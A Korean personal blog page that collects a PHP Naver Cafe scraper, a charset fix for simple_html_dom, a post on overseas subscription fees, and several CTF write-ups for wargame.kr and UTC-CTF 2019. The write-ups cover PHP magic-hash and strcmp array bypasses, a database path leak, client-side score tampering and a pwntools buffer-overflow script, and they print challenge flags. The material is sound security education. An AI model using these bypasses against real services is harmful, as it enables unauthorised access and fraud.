반응형
반응형
반응형

네이버 카페의 글 제목, 작성자 닉네임, 작성일을 파싱하는 코드입니다.

 

 

 

로그인 절차가 필요 없습니다.

 

게시판 페이지를 파싱합니다.

 

게시판 링크는 게시판 링크 우클릭해서 링크 복사 해서 /ArticleList.nhn 부분부터 복사하여

카페 링크 뒤에 붙이시면 됩니다.

 

 

 

추가 인자값들은 아래 코드에서 확인하세요. (userDisplay 이나 search.page 등)

 

 

 

 

simple_html_dom.php 파일을 필요로 합니다:

https://simplehtmldom.sourceforge.io/

 

PHP Simple HTML DOM Parser

$html = str_get_html(' Hello World '); $html->find('div', 1)->class = 'bar'; $html->find('div[id=hello]', 0)->innertext = 'foo'; echo $html; $html = file_get_html('http://slashdot.org/'); foreach($html->find('div.article') as $article) {     $item['title']

simplehtmldom.sourceforge.io

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
/*ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);*/
 
include($_SERVER['DOCUMENT_ROOT'].'simple_html_dom.php');
//simple_html_dom.php 파일 수정 필요합니다.
//https://mandu-mandu.tistory.com/358
 
 
function naver_cafe_article_parser($page_no){
  //작성자 M4ndU
 
  //카페 url
  //카페 링크 aaaaa처리
  //search.clubid, search.menuid 0 처리
  //하였기 때문에 본인 카페 링크및 게시판 확인하셔서 변경하셔야합니다.
  $url = "https://cafe.naver.com/aaaaa/ArticleList.nhn?search.clubid=000000000&search.boardtype=L&search.menuid=00&search.marketBoardTab=D%&search.specialmenutype=&userDisplay=50&search.page=".$page_no;
 
  $html = file_get_html($url);
 
  $board = $html->find('div[class=article-board m-tcol-c]');
  foreach ($board[1]->find('tr'as $article) {
 
    $article_title_link = $article->find('a[class=article]')[0];
    $article_title = $article_title_link->plaintext;
    $article_link = $article_title_link->href;
    $article_publisher = $article->find('td[class=p-nick]')[0]->plaintext;
    $article_date = $article->find('td[class=td_date]')[0]->innertext;
 
    if ($article_title == "") {
      continue;
    }
 
 
    echo "<tr>";
    echo "<td>".$article_title."</td>";
    echo "<td>".$article_publisher."</td>";
    echo "<td>".$article_date."</td>";
    echo "<td> https://cafe.naver.com/aaaaa".$article_link."</td>"//카페링크 aaaaa처리하였음. 본인이 변경하세요.
    echo "</tr>";
  }
}
?>
<!DOCTYPE html>
<html lang="kr" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title></title>
  </head>
  <body>
    <table class="table">
        <thead>
            <th>글제목</th>
            <th>작성자</th>
            <th>등록일시</th>
            <th>링크</th>
        </thead>
<?php
for ($i=1$i<10 ; $i++) { // 파싱할 게시판의 최대 페이지를 고려하세요.
  naver_cafe_article_parser($i);
}
?>
</table>
</body>
</html>
 
cs
반응형
반응형

국내 웹페이중에 charset이 KSC5601로 설정되어 있는 페이지들이 많다.

 

이 페이지를 simple_html_dom으로 파싱하려고 하면 아래와 같은 오류가 발생한다.

 

 

 

 

 

iconv(): Wrong charset, conversion from `KSC5601' to `UTF-8' is not allowed in simple_html_dom.php

 

 

 

 

 

 

이 경우 KSC5601을 CP949로 바꿔주면 해결된다.

 

 

 

simple_html_dom.php를 아래와 같이 수정해주자.

1
생략
784
785
786
787
789
790
791
792
793
794
795
생략
1724
<?php
...           
            if ((strcasecmp($targetCharset'UTF-8'== 0&& ($this->is_utf8($text)))
            {
                $converted_text = $text;
            }
            else
            {
              if ($sourceCharset == 'KSC5601') {
                $sourceCharset = 'CP949';
              }
                $converted_text = iconv($sourceCharset$targetCharset$text);
            }
...
?>
cs

791~793 삽입

반응형
반응형

md5_compare

JUST COMPARE ONLY.

with the other value :D

 

 

 

빠르게 소스를 확인하자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
    if (isset($_GET['view-source'])) {
         show_source(__FILE__);
         exit();
    }
 
    if (isset($_GET['v1']) && isset($_GET['v2'])) {
        sleep(3); // anti brute force
 
        $chk = true;
        $v1 = $_GET['v1'];
        $v2 = $_GET['v2'];
 
        if (!ctype_alpha($v1)) {$chk = false;}
        if (!is_numeric($v2) ) {$chk = false;}
        if (md5($v1!= md5($v2)) {$chk = false;}
 
        if ($chk){
            include("../lib.php");
            echo "Congratulations! FLAG is : ".auth_code("md5_compare");
        } else {
            echo "Wrong...";
        }
    }
?>
<br />
<form method="GET">
    VALUE 1 : <input type="text" name="v1" /><br />
    VALUE 2 : <input type="text" name="v2" /><br />
    <input type="submit" value="chk" />
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

간단하다 v1은 전부 알파벳으로 이루어져 있어야 하고, v2는 전부 숫자로 이루어져 있어야 한다.

 

그리고 v1의 md5해쉬 값과 v2의 md5 해쉬값이 일치해야 한다.

 

 

 

 

php의 느슨한 비교(==)를 하기 때문에 magic hash를 사용할 수 있다.

 

v | input | md5

v1 | QNKCDZO | 0e830400451993494058024219903391

v2 | 240610708 | 0e46209743190650901956298873685

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [type confusion] 풀이  (0) 2019.12.31
Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
반응형

DB is really GOOD

What kind of this Database?

you have to find correlation between user name and database.

 

 

 

 

user name과 db의 상관관계를 찾아내면 될 것 같다.

 

 

 

첫 화면에서 admin으로 로그인 되지 않는다. 페이지 소스를 보면 

function fschk(f){
    if(f.user_id.value=="admin"){
        alert("dont access with 'admin'");
        return false;
    }
}

admin으로 로그인을 막는 js 코드가 존재한다.

 

 

그러나 해당 코드를 삭제해도 can not access admin.. 라고 admin으로 로그인이 불가능하다.

 

 

 

 

 

다른 닉네임들로 로그인해서 몇 번 만져보면 user name 가 하나의 다른 게시판역할을 하는 것을 알 수 있다.

 

= 다른 사람이 입력을 안했을 것 같은 user name으로 들어가보면 아무것도 없다.

= guest로 들어가서 메모를 남겨놓으면 나중에 guest로 들어가도 남아있다.

 

 

 

그러면 admin인 게시판을 찾아야 하는데 딱히 단서가 보이지 않았다.

 

그래서 메인 화면에서 여러가지 user name을 시도해 보았다.

 

 

 

 

<>?,./을 입력했을 때 오류메세지를 얻을 수 있었고 입력한 값을 경로로 하는 것을 찾을 수 있었다.

 

입력값을 경로로 하기 때문에 오류나는 문자는 . 나 / 일것이고, 결국 / 가 오류가 나는 원인임을 찾을 수 있었다.

 

 

 

 

 

Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /var/www/html/db_is_really_good/sqlite3.php:7 Stack trace: #0 /var/www/html/db_is_really_good/sqlite3.php(7): SQLite3->open('./db/wkrm_/.db') #1 /var/www/html/db_is_really_good/memo.php(14): MyDB->__construct('./db/wkrm_/.db') #2 {main} thrown in /var/www/html/db_is_really_good/sqlite3.php on line 7

 

 

 

./db/wkrm_[입력값].db 을 가져오는 것을 알 수 있다.

 

[입력값] 에 admin을 넣은 경로로 이동하면 해당 db파일을 다운로드 받을 수 있다.

 

 

 

 

 

 

 

 

다운로드 받은 파일을 Hxd로 열면 주소를 하나 더 얻을 수 있다.

 

해당 주소로 이동하면 flag가 나온다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [tmitter] 풀이  (0) 2019.12.31
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
반응형

strcmp

if you can bypass the strcmp function, you get the flag.

 

 

 

password를 입력받는 칸과 소스를 확인할 수 있는 링크가 있다.

 

일단 소스코드를 확인해 보자.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    require("../lib.php"); // for auth_code function
 
    $password = sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());
 
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }else if(isset($_POST['password'])){
        sleep(1); // do not brute force!
        if (strcmp($_POST['password'], $password== 0) {
            echo "Congratulations! Flag is <b>" . auth_code("strcmp") ."</b>";
            exit();
        } else {
            echo "Wrong password..";
        }
    }
 
?>
<br />
<br />
<form method="POST">
    password : <input type="text" name="password" /> <input type="submit" value="chk">
</form>
<br />
<a href="?view-source">view-source</a>
cs

 

 

$password sha1(md5(rand().file_get_contents("/var/lib/dummy_file")).rand());

 

$password는 랜덤 값의 sha1 해쉬값이다. 따라서 때려맞출 수는 없다.

 

 

 

 

대신 strcmp함수의 취약점을 이용하면 된다.

 

strcmp(String, Array()) 는 NULL을 반환한다.

 

php에서 NULL == 0 은 True가 된다.

 

 

 

 

 

 

따라서 password를 배열로 보내면 flag를 얻을 수 있게 된다.

 

크롬 개발자 도구를 이용해서 password를 password[]로 바꾼 뒤에 아무 값이나 입력해서 보내면, flag를 얻을 수 있다.

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.24
Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [fly me to the moon] 풀이  (0) 2019.12.23
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
반응형

fly me to the moon

 

javascript game.

can you clear with bypass prevent cheating system?

 

 

 

 

게임을 시작하면, 양 옆 초록색 벽에 부딪히지 않도록 움직여야 한다.

 

 

 

 

 

 

벽에 닿아 죽게 되면 31337점을 얻어야 된다고 나온다.

 

 

 

그럼 이제 js 코드를 확인해 보자

 

난독화가 되어 있어서 읽을 수 없다.

 

 

 

 

 

 

위 난독화 정도는 아래 사이트를 이용해서 unPack이 가능하다.

https://www.strictly-software.com/unpack-javascript

 

Javascript Unpacker Tool - Strictly Software

This Javascript unpacker tool has now been upgraded to allow it to unpack multiple eval statements. So if your packed code has itself been packed a few times it will loop through until it finds the original source code. If you want to test this multiple ev

www.strictly-software.com

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
var _0x32bb = ["\x6B\x69\x6C\x6C\x50\x6C\x61\x79\x65\x72""\x63\x68\x65\x63\x6B\x4C\x69\x66\x65""\x67\x65\x74\x53\x63\x6F\x72\x65""\x42\x69\x6E\x63\x53\x63\x6F\x72\x65""\x73\x68\x72\x69\x6E\x6B\x54\x75\x6E\x6E\x65\x6C""\x77\x69\x64\x74\x68\x54\x75\x6E\x6E\x65\x6C""\x6F\x62\x6A\x65\x63\x74""\x44\x6F\x20\x63\x68\x65\x61\x74\x69\x6E\x67\x2C\x20\x69\x66\x20\x79\x6F\x75\x20\x63\x61\x6E""\x77\x61\x72\x6E""\x6F\x66\x66\x73\x65\x74\x4C\x65\x66\x74""\x74\x75\x6E\x6E\x65\x6C""\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64""\x74\x6F\x70""""\x70\x78""\x63\x73\x73""\x64\x69\x73\x70\x6C\x61\x79""\x62\x6C\x6F\x63\x6B""\x65\x61\x63\x68""\x69\x6D\x67\x2E\x6C\x65\x66\x74\x5F\x77\x61\x6C\x6C""\x69\x6D\x67\x2E\x72\x69\x67\x68\x74\x5F\x77\x61\x6C\x6C""\x23\x68\x69\x67\x68\x5F\x73\x63\x6F\x72\x65\x73""\x72\x65\x6D\x6F\x76\x65""\x74\x61\x62\x6C\x65""\x6E\x6F\x6E\x65""\x64\x69\x76\x23\x73\x63\x6F\x72\x65\x5F\x74\x61\x62\x6C\x65""\x63\x6C\x69\x63\x6B""\x74\x65\x78\x74""\x73\x70\x61\x6E\x23\x73\x63\x6F\x72\x65""\x6C\x65\x66\x74""\x69\x6D\x67\x23\x73\x68\x69\x70""\x73\x6C\x6F\x77""\x66\x61\x64\x65\x49\x6E""\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x70\x6F\x73\x69\x74\x69\x6F\x6E""\x35\x30\x25\x20""\x64\x69\x76\x23\x74\x75\x6E\x6E\x65\x6C""\x72\x61\x6E\x64\x6F\x6D""\x66\x6C\x6F\x6F\x72""\x75\x70\x64\x61\x74\x65\x54\x75\x6E\x6E\x65\x6C\x28\x29""\x66\x61\x64\x65\x4F\x75\x74""\x50\x4F\x53\x54""\x68\x69\x67\x68\x2D\x73\x63\x6F\x72\x65\x73\x2E\x70\x68\x70""\x74\x6F\x6B\x65\x6E\x3D""\x26\x73\x63\x6F\x72\x65\x3D""\x61\x6A\x61\x78""\x68\x74\x6D\x6C""\x70\x23\x77\x65\x6C\x63\x6F\x6D\x65""\x75\x70\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E\x28\x29""\x74\x68\x78\x2C\x20\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x6D\x6F\x75\x73\x65\x6F\x76\x65\x72""\x23\x63\x68\x72\x69\x73\x74\x69\x61\x6E""\x6D\x6F\x75\x73\x65\x6F\x75\x74""\x72\x65\x61\x64\x79""\x43\x68\x72\x69\x73\x74\x69\x61\x6E\x20\x4D\x6F\x6E\x74\x6F\x79\x61""\x70\x61\x67\x65\x58""\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65""\x74\x6F\x6B\x65\x6E\x2E\x70\x68\x70""\x67\x65\x74"];
function secureGame() {
    var _0x8618x2 = this;
    var _0x8618x3 = true;
    function _0x8618x4() {
        _0x8618x3 = false;
        return true
    };
    function _0x8618x5() {
        return _0x8618x3
    };
    this[_0x32bb[0]] = function () {
        _0x8618x4();
        return true
    };
    this[_0x32bb[1]] = function () {
        return _0x8618x5()
    };
    var _0x8618x6 = 0;
    function _0x8618x7() {
        return _0x8618x6
    };
    function _0x8618x8() {
        if (_0x8618x3) {
            _0x8618x6++
        };
        return true
    };
    this[_0x32bb[2]] = function () {
        return _0x8618x7()
    };
    this[_0x32bb[3]] = function () {
        _0x8618x8();
        return true
    };
    var _0x8618x9 = 320;
    function _0x8618xa() {
        _0x8618x9 -= 20;
        return true
    };
    function _0x8618xb() {
        return _0x8618x9
    };
    this[_0x32bb[4]] = function () {
        _0x8618xa();
        return true
    };
    this[_0x32bb[5]] = function () {
        return _0x8618xb()
    }
};
var bg_val = 0;
var rail_left = 0;
var rail_right = 500;
var ship_x = 234;
var pos_x = 234;
var c_s = 0;
var c_r = 0;
var c_w = 0;
var t_state = 0;
left_wall = new Array(20);
right_wall = new Array(20);
function initTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    rail_left = document[_0x32bb[11]](_0x32bb[10])[_0x32bb[9]];
    rail_right += rail_left;
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[25])[_0x32bb[26]](function () {
        $(_0x32bb[23])[_0x32bb[22]](_0x32bb[21]);
        $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        restartTunnel();
        updateTunnel()
    })
};
function restartTunnel() {
    BTunnelGame = new secureGame();
    if (_0x32bb[6== typeof console) {
        console[_0x32bb[8]](_0x32bb[7])
    };
    ship_x = 234;
    c_s = 0;
    c_r = 0;
    c_w = 0;
    $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ 0);
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    y = 0;
    for (y = 0; y < 20; y++) {
        left_wall[y] = 80;
        right_wall[y] = 400
    };
    $(_0x32bb[30])[_0x32bb[32]](_0x32bb[31]);
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        y = _0x8618x16 * 25;
        $(this)[_0x32bb[15]](_0x32bb[12], _0x32bb[13+ y + _0x32bb[14]);
        $(this)[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
    })
};
function updateTunnel() {
    bg_val = bg_val + 2;
    if (bg_val > 20) {
        bg_val = 0
    };
    $(_0x32bb[35])[_0x32bb[15]](_0x32bb[33], _0x32bb[34+ bg_val + _0x32bb[14]);
    if (ship_x + 32 < 500) {
        if (ship_x + 46 < pos_x) {
            ship_x += 4
        } else {
            if (ship_x + 16 < pos_x) {
                ship_x += 2
            }
        }
    };
    if (ship_x > 0) {
        if (ship_x - 14 > pos_x) {
            ship_x -= 4
        } else {
            if (ship_x + 16 > pos_x) {
                ship_x -= 2
            }
        }
    };
    $(_0x32bb[30])[_0x32bb[15]](_0x32bb[29], ship_x + _0x32bb[14]);
    c_r++;
    if (c_r > 60) {
        c_r = 0;
        t_state = Math[_0x32bb[37]](Math[_0x32bb[36]]() * 2)
    };
    if (left_wall[0< 10) {
        t_state = 1
    } else {
        if (right_wall[0> 470) {
            t_state = 0
        }
    };
    y = 0;
    for (y = 20; y > 0; y--) {
        left_wall[y] = left_wall[y - 1];
        right_wall[y] = right_wall[y - 1]
    };
    if (t_state == 0) {
        left_wall[0-= 3
    };
    if (t_state == 1) {
        left_wall[0+= 3
    };
    right_wall[0= left_wall[0+ BTunnelGame[_0x32bb[5]]();
    $(_0x32bb[19])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ left_wall[_0x8618x16] + _0x32bb[14])
    });
    $(_0x32bb[20])[_0x32bb[18]](function (_0x8618x16) {
        $(this)[_0x32bb[15]](_0x32bb[29], _0x32bb[13+ right_wall[_0x8618x16] + _0x32bb[14])
    });
    if (BTunnelGame[_0x32bb[5]]() >= 120) {
        c_w++;
        if (c_w > 100) {
            c_w = 0;
            BTunnelGame[_0x32bb[4]]();
            left_wall[0+= 10
        }
    };
    c_s++;
    if (c_s > 20) {
        c_s = 0;
        BTunnelGame.BincScore();
        $(_0x32bb[28])[_0x32bb[27]](_0x32bb[13+ BTunnelGame[_0x32bb[2]]())
    };
    if (ship_x <= left_wall[18+ 20 || ship_x + 32 >= right_wall[18]) {
        BTunnelGame[_0x32bb[0]]()
    };
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
};
function scoreUpdate() {
    return
};
function showHighScores(_0x8618x19) {
    $(_0x32bb[25])[_0x32bb[45]](_0x8618x19);
    $(_0x32bb[25])[_0x32bb[15]](_0x32bb[16], _0x32bb[17])
};
$(document)[_0x32bb[52]](function () {
    $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[17]);
    updateToken();
    setInterval(_0x32bb[47], 10000);
    $(_0x32bb[46])[_0x32bb[26]](function () {
        $(_0x32bb[46])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        initTunnel();
        updateTunnel()
    });
    $(_0x32bb[50])[_0x32bb[49]](function () {
        $(this)[_0x32bb[45]](_0x32bb[48])
    });
    $(_0x32bb[50])[_0x32bb[51]](function () {
        $(this)[_0x32bb[45]](temp)
    })
});
var temp = _0x32bb[53];
$(document)[_0x32bb[55]](function (_0x8618x1d) {
    pos_x = _0x8618x1d[_0x32bb[54]] - rail_left
});
var token = _0x32bb[13];
function updateToken() {
    $[_0x32bb[57]](_0x32bb[56], function (_0x8618x20) {
        token = _0x8618x20
    })
};
cs

 

 

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    if (BTunnelGame[_0x32bb[1]]()) {
        setTimeout(_0x32bb[38], 10)
    } else {
        $(_0x32bb[30])[_0x32bb[39]](_0x32bb[31]);
        $(_0x32bb[19])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $(_0x32bb[20])[_0x32bb[15]](_0x32bb[16], _0x32bb[24]);
        $[_0x32bb[44]]({
            type: _0x32bb[40],
            url: _0x32bb[41],
            data: _0x32bb[42+ token + _0x32bb[43+ BTunnelGame[_0x32bb[2]](),
            success: function (_0x8618x19) {
                showHighScores(_0x8618x19)
            }
        })
    }
cs

 

점수와 관련된 코드를 찾았다.

 

언팩한 코드를 개발자 도구>콘솔 을 이용해서 재정의 한 뒤, 게임을 한 판 하고 변수의 내용을 확인해 보았다.

 

 

 

 

 

BtunnelGame[_0x32bb[2]]() 함수가 점수를 반환하는 함수임을 알 수 있다.

 

 

 

따라서 해당 함수 대신에 "31337"을 넣어서 js코드 재정의 후

 

게임을 하면, 점수를 전송하는 페이지에 점수가 31337로 들어가게 되고, key를 얻을 수 있게 된다.

 

 

반응형

'WAR GAME > wargame.kr' 카테고리의 다른 글

Wargame.kr [DB is really GOOD] 풀이  (0) 2019.12.24
Wargame.kr [strcmp] 풀이  (0) 2019.12.24
Wargame.kr [md5 password] 풀이  (0) 2019.08.22
Wargame.kr [WTF_CODE] 풀이  (0) 2019.08.22
Wargame.kr [login filtering] 풀이  (0) 2019.08.22
반응형

https://ctftime.org/event/948

 

UTC-CTF 2019 Teaser

금요일, 20 12월 2019, 23:00 UTC — 토요일, 21 12월 2019, 23:00 UTC  On-line A UTC-CTF event. Format: Jeopardy  Official URL: https://utc-ctf.club/ Future weight: 0.00  Rating weight: 0.00  Event organizers 

ctftime.org


PWN

Simple bof (baby)

Want to learn the hacker's secret? Try to smash this buffer!

You need guidance? Look no further than to Mr. Liveoverflow. He puts out nice videos you should look if you haven't already

By: theKidOfArcrania

nc chal.utc-ctf.club 35235

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
 
// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);
void safeguard();
 
void print_flag();
 
void vuln() {
  char padding[16];
  char buff[32];
  int notsecret = 0xffffff00;
  int secret = 0xdeadbeef;
 
  memset(buff, 0sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFFsizeof(padding)); // Zero-out the padding.
 
  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff); 
 
  // Prints out the stack before modification
  visualize(buff);
 
  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!
 
  // Prints out the stack after modification
  visualize(buff); 
 
  // Check if secret has changed.
  if (secret == 0x67616c66) {
    puts("You did it! Congratuations!");
    print_flag(); // Print out the flag. You deserve it.
    return;
  } else if (notsecret != 0xffffff00) {
    puts("Uhmm... maybe you overflowed too much. Try deleting a few characters.");
  } else if (secret != 0xdeadbeef) {
    puts("Wow you overflowed the secret value! Now try controlling the value of it!");
  } else {
    puts("Maybe you haven't overflowed enough characters? Try again?");
  }
 
  exit(0);
}
 
int main() {
  safeguard();
  vuln();
}
 
cs

 

정말 친절한 bof 문제다..

 

 

 

ex.py

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote("chal.utc-ctf.club"35235)
 
= 0x67616c66
payload = "A"*48 + p32(a)
 
p.recvuntil("Input some text: ")
p.sendline(payload)
p.interactive()
cs

 

 

FLAG : utc{buffer_0verflows_4re_c00l!}

 

 


Crypto

 

RSAcue [not solved]

I heard you like to RSAcue the world. There we go

By: knapstack

 

 

공개키로 publickey.pem이 주어졌다.

 

여기서 n값을 구해내보자! (openssl)

https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key

 

RSA: Get exponent and modulus given a public key

I need to encrypt some data using RSA in JavaScript. All of the libraries around ask for an exponent and a modulus, yet I get a single public.key file from my opponent. How do you retrieve the pu...

stackoverflow.com

 

깔끔하게 보는 방법도 나와 있다.

 

 

 

 


MISC

 

 

Optics 1 (baby)

 

I dropped out of my physics class due to boring optical theory. I joined Forensics class thereafter. But, I found Optics there too. Help me clear this class :facepalm:

By: knapstack

 

 

png 파일이 하나 주어지는데, 열려고 하면 열리지 않는다.

 

Hxd로 열어보면 header signuature가 잘못 설정되어 있는 것을 알 수 있다.

 

0x1~0x3이 LOL로 되어 있는데 이를 PNG로 바꿔주면 파일이 정상적으로 열린다.

0x50 0x4e 0x47

 

QR코드 이미지가 나오는데, 이를 스캔해주면 flag가 나온다.

 

 

FLAG: utc{dang_you_know_qr_decoding_and_shit}

 


Sanity Check

 

Join our discord and get a free flag.

 

 

와 공짜 플래그

 

FLAG : utc{whats_discord_lol}

 


REVERSING

 

Strings (baby)

 

Itz not giving me flag...

GIMMME THE FLAG

By: theKidOfArcrania

 

 

strings 라는 파일이 주어진다.

 

 

HxD로 열어보면 ELF 헤더 시그니쳐를 확인 할 수 있다.

Open with HxD, you can find ELF header signature.

So, this file's format is ELF.

 

 

 

 

 

그리고 exeinfo PE를 통해 64bit elf 라는 것도 알 수 있다.

 

 

64bit elf 파일이기 때문에, ida 64bit로 연다.

 

문제 제목이 strings이기 때문에, 문자열들을 확인해 주면 된다.

Check out strings!

 

 

main함수에는 fake flag가 있다.

you can find fake flag in main FUNC.

 

 

 

 

real flag는 여기서 찾을 수 있다.

Real flag is in here!

 

 

FLAG : utc{that_waz_ezpz}


 

 

 

 

 

 

 

 

반응형
반응형

해외결제는 당연하지만 표시된 금액보다 실제 지불 금액이 더 나온다.

환율에 따라 달라지기도 한다.

 

 


 

 

유튜브 프리미엄 7,900KRW/월

 

19년 12월 19일

실제 지불 금액 : 8,690KRW

 

이 전달에도 8690원이 지불되었기 때문에 금액은 고정인 것 같다.

 

(구글페이먼트코리아로 결제가 되는 걸 봐선 국내 결제인 듯 하다.)

 

 

 

 


 

 

 

 

디스코드 니트로 9.99USD/월

 

19년 11월 30일

실제 지불 금액 : 12,044KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 USD 9.99

US 환산금액 USD 10.11

적용 환율 1,191.40

해외브랜드수수료 119KRW

해외이용수수료 23KRW

 


 

 

 

 

디스코드 니트로 클래식 4.99USD/월

 

19년 12월 30일

실제 지불 금액 : 5,895KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 USD 4.99

US 환산금액 USD 5.05

적용 환율 1,167.70

해외브랜드수수료 58KRW

해외이용수수료 11KRW

 

 


 

 

 

마인크래프트 렐름 9,440KRW/월

 

19년 11월 19일

실제 지불 금액 : 9,681KRW

 

카카오뱅크 체크 카드

 

상세:

현지 거래금액 KRW 9,440 (원화 결제 괜찮은건가... 돈 더 나간건가)

US 환산금액 USD 8.21

적용 환율 1,179.30

해외브랜드수수료 94KRW

해외이용수수료 23KRW

 

 


 

 

 

 

해외결제는 환율 확인해서 결제해야할 것 같다.

반응형
반응형

https://ctftime.org/event/926

 

X-MAS CTF 2019

1. 3 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 2. 2 Months ProLab voucher or 1 year HackTheBox VIP subscription (you choose) 3. 1 Month ProLab voucher or 1 year HackTheBox VIP subscription (you choose) Top 3 teams also receiv

ctftime.org

X-MAS Helper

 

As organizers of X-MAS CTF, we are using bots to ensure that the competition keeps running smoothly. We have made this Discord bot: X-MAS Helper#2918 to help us check the flags for various challenges by using the !flag command. This command is safe to use because the bot actively checks if the requesting user has the Organizer role assigned, so regular participants can't access the flags.

We're so sure that the code is secure, that we're willing to share the part that checks the role:

 

Code:

if (message.content == "!flag"):

ok = False

for role in message.author.roles:

if (role.name == "Organizer"):

ok = True

if (ok):

printer = "The flag is: **{}**".format (FLAG)

else:

printer = "Unauthorized."


Author: Milkdrop
